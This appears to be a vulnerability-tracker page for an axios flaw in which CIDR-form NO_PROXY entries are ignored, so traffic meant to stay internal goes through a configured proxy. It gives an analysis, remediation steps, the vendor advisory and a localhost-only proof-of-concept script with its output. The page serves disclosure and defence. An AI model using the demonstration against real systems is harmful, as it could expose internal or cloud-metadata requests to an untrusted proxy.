Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessOperator sets NO_PROXY CIDR + untrusted HTTP_PROXY
-
DeliveryApp issues axios request to in-range internal/metadata IP
-
ExploitCIDR entry silently fails to match
-
ExecutionRequest routed through proxy instead of direct
-
ImpactProxy reads/modifies URLs, headers, credentials
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V15 - Secure Coding and Architecture Protection mechanism completeness
|
| Exploitation Conditions | Exploitation requires a specific non-default configuration: the application must run under the axios Node.js adapter (browser adapters and requests using proxy:false are NOT affected), proxy environment variables (HTTP_PROXY/HTTPS_PROXY or lowercase) must be set, and NO_PROXY must express exclusions in CIDR notation (e.g. 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.169.254/32) rather than exact hosts/IPs. The bypass only yields impact when the configured proxy is untrusted, compromised, overly broad, or outside the intended trust boundary - a legitimately trusted proxy seeing the traffic is not a compromise. Limiting factors: exact-host/exact-IP NO_PROXY entries work correctly (workaround: use 127.0.0.1,localhost,169.254.169.254 or set proxy:false), and the flaw exposes/tampers traffic rather than granting code execution or direct authentication bypass. Affected axios versions >=1.15.0 and <1.20.0; fixed in 1.20.0. |
| Impact | No CVSS vector is provided in the input (CVSS Score: N/A), so severity must be reasoned from the description. This is CWE-693 (Protection Mechanism Failure): axios's Node.js adapter fails to interpret CIDR-form NO_PROXY entries (e.g. 127.0.0.0/8, 10.0.0.0/8, 169.254.169.254/32) as IP ranges, so requests to IPs inside those ranges are still routed through the configured HTTP_PROXY/HTTPS_PROXY. The GitHub advisory (GHSA-44g4-m2mj-wpvx) includes a working proof-of-concept, so publicly available exploit code exists; there is no CISA KEV listing and no EPSS score in the input, and nothing indicates active exploitation. Real-world risk is genuine but conditional and configuration-dependent rather than a simple 'remote takeover': it only matters when (a) proxy environment variables are in use, (b) NO_PROXY is expressed in CIDR notation, and (c) the configured proxy is untrusted, compromised, or outside the intended trust boundary. The primary consequence is a defense-in-depth/exposure failure - internal, loopback, Kubernetes, CI, and cloud-metadata (169.254.169.254) traffic operators believed was direct is silently sent to the proxy, exposing URLs, hostnames, headers, bodies, and possibly credentials, and for plaintext HTTP allowing the proxy to modify traffic. This is a proxy-exclusion bypass, NOT arbitrary proxy injection, so it is best treated as a medium-priority hardening/hygiene fix that is broadly relevant due to axios's enormous deployment footprint, but whose exploitability hinges on a non-default NO_PROXY CIDR configuration plus an attacker-positioned proxy. |
| Exploit ScenarioDerived | An organization sets a global HTTP_PROXY in its CI/Kubernetes environment and configures NO_PROXY=169.254.169.254/32,10.0.0.0/8 expecting cloud-metadata and internal traffic to bypass the proxy. Because axios (<1.20.0) does not parse CIDR, requests to the metadata endpoint or internal services are instead sent through the proxy; if that proxy is attacker-controlled, overly broad, or shared, the attacker observes and can tamper with those requests. A working PoC demonstrating the bypass is published in the GitHub advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 30, 2026
Axios versions 1.15.0 through 1.19.x silently ignore CIDR-form NO_PROXY entries in its Node.js adapter, so requests destined for loopback, RFC1918 private, Kubernetes, CI, or cloud-metadata ranges can be routed through a configured HTTP_PROXY/HTTPS_PROXY that the operator intended to bypass. The assessed severity is moderate (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N, 4.8) because exploitation depends on a specific non-default configuration - Node.js adapter, proxy environment variables set, and CIDR notation used in NO_PROXY - and only causes exposure or tampering of proxied traffic rather than code execution or authentication bypass. There is no confirmed active exploitation (CISA KEV) and no EPSS data supplied, but the vendor advisory ships a working local proof-of-concept demonstrating that NO_PROXY=127.0.0.0/8 does not prevent HTTP_PROXY from receiving a request to 127.0.0.1; the vendor-released fix is axios 1.20.0.
RemediationAI
Upgrade to the vendor-released patched version, axios 1.20.0 (release tag https://github.com/axios/axios/releases/tag/v1.20.0), which introduces IPv4/IPv6 CIDR matching for NO_PROXY/no_proxy, normalizes bracketed and IPv4-mapped IPv6 forms, and fails closed on malformed ranges; the code change is in pull request https://github.com/axios/axios/pull/11141 and commit https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a. If upgrading is not immediately possible, replace CIDR entries with exact host/IP entries for each sensitive destination (for example NO_PROXY=127.0.0.1,localhost,169.254.169.254), accepting the trade-off that this requires enumerating every internal endpoint and gives no coverage for dynamic or large address ranges; alternatively set proxy: false on the individual requests that must never traverse a proxy, at the cost of changing application code and losing centralized proxy configuration. Also treat proxy environment variables as untrusted input: strip or override HTTP_PROXY/HTTPS_PROXY/NO_PROXY in container, CI, and orchestrator runtimes unless a trusted proxy is actually required, since the bypass only causes impact when the proxy is untrusted, compromised, or outside the intended trust boundary - with a legitimately trusted proxy the exposure is not a compromise. Full details are in the vendor advisory at https://github.com/axios/axios/security/advisories/GHSA-44g4-m2mj-wpvx.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The flaw is a protection-mechanism failure (CWE-693) in axios's Node.js HTTP adapter proxy handling. When HTTP_PROXY/HTTPS_PROXY (or lowercase equivalents) are present in the process environment, axios consults the helper lib/helpers/shouldBypassProxy.js to decide whether a target should bypass the proxy. That helper parses each NO_PROXY entry into a host plus optional port, normalizes hostnames, and then compares exact hostnames, domain-suffix entries, wildcard-prefix entries, and loopback equivalents - but it never parses CIDR notation. Consequently an entry such as 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 or 169.254.169.254/32 is treated as a literal non-matching token rather than an address range, and shouldBypassProxy returns false for a host that is inside the range. Only the Node.js adapter is affected; browser adapters are unaffected, exact-host and exact-IP NO_PROXY entries still match correctly, and requests explicitly configured with proxy: false still connect directly. For plaintext HTTP the proxy can observe and modify URLs, headers and bodies; for HTTPS it still observes connection metadata and receives CONNECT requests that policy intended to keep internal. The upstream fix in 1.20.0 adds IPv4 and IPv6 CIDR matching (including bracketed IPv6 and IPv4-mapped IPv6 normalization) while making malformed ranges fail closed; a /0 entry bypasses the proxy for an entire address family.
Know when Node.js gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N
AC:H because it requires a non-default CIDR NO_PROXY config plus an attacker-positioned untrusted proxy; C:L/I:L reflect exposure/tamper of routed HTTP traffic, no availability impact.
Primary rating from Vendor (https://github.com/axios/axios).
CVSS VectorVendor: https://github.com/axios/axios
Lifecycle Timeline
2DescriptionCVE.org
Summary
Axios supports proxy environment variables and evaluates NO_PROXY exclusions in the Node.js adapter. CIDR-form NO_PROXY entries such as 127.0.0.0/8, 10.0.0.0/8, or 169.254.169.254/32 are not interpreted as IP ranges. As a result, a request to an IP address inside a configured CIDR exclusion can still be sent through the configured proxy.
This affects deployments that rely on CIDR notation to keep loopback, private, Kubernetes, CI, or cloud metadata traffic away from proxy infrastructure.
Impact
If the configured proxy is outside the intended trust boundary, requests that operators expected to bypass the proxy may be exposed to it. For plaintext HTTP targets, the proxy can see and modify URLs, headers, and bodies. For HTTPS targets, the proxy still observes connection metadata and may receive CONNECT requests that policy expected to avoid.
This is a proxy exclusion bypass, not arbitrary proxy injection by itself.
Affected Functionality
Affected:
- Node.js adapter proxy environment handling.
HTTP_PROXY,HTTPS_PROXY,NO_PROXY, or lowercase equivalents.- CIDR entries in
NO_PROXY.
Not affected:
- Exact host or exact IP
NO_PROXYentries where axios matching succeeds. - Requests configured with
proxy: false. - Browser adapters.
Technical Details
lib/helpers/shouldBypassProxy.js parses each NO_PROXY entry into a host and optional port, normalizes hostnames, and then compares exact hostnames, suffix entries, wildcard-prefix entries, and loopback equivalents. It does not parse CIDR notation.
Local verification on axios 1.18.1:
process.env.NO_PROXY = '127.0.0.0/8';
shouldBypassProxy('http://127.0.0.1:1234/'); // falseThe expected result for CIDR-aware bypass policy is true.
Proof of Concept of Attack
Constrained local demonstration:
- Set
HTTP_PROXY=http://127.0.0.1:<proxy-port>. - Set
NO_PROXY=127.0.0.0/8. - Request
http://127.0.0.1:<internal-port>/metadata. - Observe that axios sends the request through the proxy instead of directly to the internal listener.
Workarounds
Use exact host or IP entries in NO_PROXY for sensitive destinations until CIDR matching is fixed, for example 127.0.0.1,localhost,169.254.169.254. For individual requests that must not use a proxy, set proxy: false.
<details> <summary><h3>Original report</h3></summary>
Summary
Axios 1.17.0 honors HTTP_PROXY / HTTPS_PROXY and supports NO_PROXY host exclusions, but CIDR-form NO_PROXY entries such as 127.0.0.0/8 are not treated as network ranges. As a result, requests to IPs covered by a configured CIDR exclusion may still be sent through the configured proxy.
In the attached PoC, a request to 127.0.0.1 is sent through HTTP_PROXY despite NO_PROXY=127.0.0.0/8.
This can cause proxy exclusion bypass in environments where operators use CIDR notation to exclude loopback, private, internal, Kubernetes, CI, or cloud metadata address ranges from proxying.
Details
Axios supports proxy environment variables, including HTTP_PROXY / HTTPS_PROXY and NO_PROXY-style exclusions. Axios’s threat model treats environment proxy handling as security-relevant and lists NO_PROXY as a mitigation for proxy environment variable hijack, including hardening for CIDR ranges, IPv6 literals, and wildcard patterns. See: https://github.com/axios/axios/blob/a8e4f13aeecc45a3b8fab3ecfd9ddb5d70fb772b/THREATMODEL.md#t-r9-proxy-environment-variable-hijack
The issue is that CIDR-form NO_PROXY entries are not interpreted as network ranges. For example:
NO_PROXY=127.0.0.0/8
HTTP_PROXY=http://127.0.0.1:<proxy-port>
Target URL=http://127.0.0.1:<internal-port>/metadataSince 127.0.0.1 is inside 127.0.0.0/8, an operator may reasonably expect Axios to bypass the proxy for this request. Instead, Axios sends the request through HTTP_PROXY.
This appears to affect the proxy bypass decision path used for NO_PROXY / no_proxy handling. The relevant behavior is in Axios's Node proxy handling and NO_PROXY evaluation logic, including the shouldBypassProxy helper introduced for no_proxy hostname normalization and bypass checks.
The issue is not that Axios ignores NO_PROXY entirely. Exact host exclusions work. The issue is specifically that CIDR-form exclusions are silently treated as non-matching host/domain tokens rather than as network ranges, causing the request to be proxied.
This is security-relevant because CIDR notation is commonly used in container, CI, enterprise proxy, and cloud environments for ranges such as:
127.0.0.0/8
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
169.254.169.254/32If operators rely on those entries to prevent internal or metadata-style requests from traversing a proxy, Axios may violate that expectation.
PoC
import http from 'http';
import axios from 'axios';
function listen(server, host) {
return new Promise((resolve, reject) => {
server.once('error', reject);
server.listen(0, host, () => resolve(server.address().port));
});
}
function close(server) {
return new Promise((resolve) => server.close(resolve));
}
let proxyHits = 0;
let internalHits = 0;
const internal = http.createServer((req, res) => {
internalHits += 1;
res.writeHead(200, { 'content-type': 'text/plain' });
res.end(`internal service saw ${req.url}`);
});
const proxy = http.createServer((req, res) => {
proxyHits += 1;
res.writeHead(200, { 'content-type': 'text/plain' });
res.end(`proxy saw request for ${req.url}`);
});
const internalHost = process.env.POC_INTERNAL_HOST || '127.0.0.2';
const proxyHost = process.env.POC_PROXY_HOST || '127.0.0.1';
let internalPort;
let proxyPort;
try {
internalPort = await listen(internal, internalHost);
proxyPort = await listen(proxy, proxyHost);
} catch (error) {
console.error('Failed to bind local PoC servers.');
console.error('On some systems 127.0.0.2 is unavailable; try:');
console.error(' POC_INTERNAL_HOST=127.0.0.1 node poc-no-proxy-cidr-axios.mjs');
console.error('');
throw error;
}
const targetUrl = `http://${internalHost}:${internalPort}/metadata`;
const proxyUrl = `http://${proxyHost}:${proxyPort}`;
const noProxy = process.env.POC_NO_PROXY || '127.0.0.0/8';
process.env.http_proxy = proxyUrl;
process.env.HTTP_PROXY = proxyUrl;
process.env.no_proxy = noProxy;
process.env.NO_PROXY = noProxy;
console.log('Axios NO_PROXY CIDR full axios network PoC');
console.log(`axios VERSION=${axios.VERSION || 'unknown'}`);
console.log(`NO_PROXY=${process.env.no_proxy}`);
console.log(`HTTP_PROXY=${process.env.http_proxy}`);
console.log(`Target URL=${targetUrl}`);
console.log('');
try {
const response = await axios.get(targetUrl, {
timeout: 2000,
});
console.log(`Response=${response.data}`);
console.log(`Proxy hits=${proxyHits}`);
console.log(`Internal direct hits=${internalHits}`);
console.log('');
if (proxyHits > 0 && internalHits === 0) {
console.log(`POC RESULT: axios sent the target through the proxy with NO_PROXY=${noProxy}.`);
} else if (proxyHits === 0 && internalHits > 0) {
console.log(`POC RESULT: axios bypassed the proxy with NO_PROXY=${noProxy}.`);
} else {
console.log('POC RESULT: mixed/ambiguous routing; inspect counts above.');
}
} finally {
delete process.env.http_proxy;
delete process.env.HTTP_PROXY;
delete process.env.no_proxy;
delete process.env.NO_PROXY;
await close(proxy);
await close(internal);
}Run the failing CIDR case:
POC_INTERNAL_HOST=127.0.0.1 node poc-no-proxy-cidr-axios.mjsObserved:
Axios NO_PROXY CIDR full axios network PoC
axios VERSION=1.17.0
NO_PROXY=127.0.0.0/8
HTTP_PROXY=http://127.0.0.1:34315
Target URL=http://127.0.0.1:43993/metadata
Response=proxy saw request for http://127.0.0.1:43993/metadata
Proxy hits=1
Internal direct hits=0
POC RESULT: axios sent the target through the proxy with NO_PROXY=127.0.0.0/8.Control
Axios does honor exact IP NO_PROXY entries:
POC_INTERNAL_HOST=127.0.0.1 POC_NO_PROXY=127.0.0.1 node poc-no-proxy-cidr-axios.mjsExpected:
NO_PROXY=127.0.0.1
Response=internal service saw /metadata
Proxy hits=0
Internal direct hits=1
POC RESULT: axios bypassed the proxy with NO_PROXY=127.0.0.1.This shows the issue is not that NO_PROXY is ignored entirely. The bypass failure is specific to CIDR-form entries such as 127.0.0.0/8.
Impact
This is a proxy exclusion bypass caused by unsupported CIDR matching in NO_PROXY.
The impact is configuration-dependent. It affects Axios users in Node.js environments who rely on proxy environment variables and configure NO_PROXY using CIDR notation to exclude internal, loopback, private, Kubernetes, CI, or cloud metadata ranges.
Potentially impacted environments include:
- CI/CD runners with globally injected
HTTP_PROXY/HTTPS_PROXY. - Containers inheriting proxy variables from the host or orchestrator.
- Kubernetes workloads using
NO_PROXYfor cluster-internal service ranges. - Enterprise networks using HTTP proxies with internal network exclusions.
- Cloud workloads relying on
NO_PROXYto keep metadata or internal service requests off proxy infrastructure.
If a configured proxy is compromised, attacker-controlled, overly broad, or outside the intended trust boundary, requests that operators expected to stay direct may instead be exposed to that proxy. This may expose request URLs, internal hostnames, paths, headers, or credentials depending on application behavior.
This should not be characterized as arbitrary proxy injection by itself. The issue is that Axios silently fails to enforce common CIDR-form proxy exclusions, which can undermine proxy bypass policy and defense-in-depth assumptions. </details>
---
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
EUVD-2026-98835
GHSA-44g4-m2mj-wpvx
NVD
CVE.org
EPSS
Exploit-DB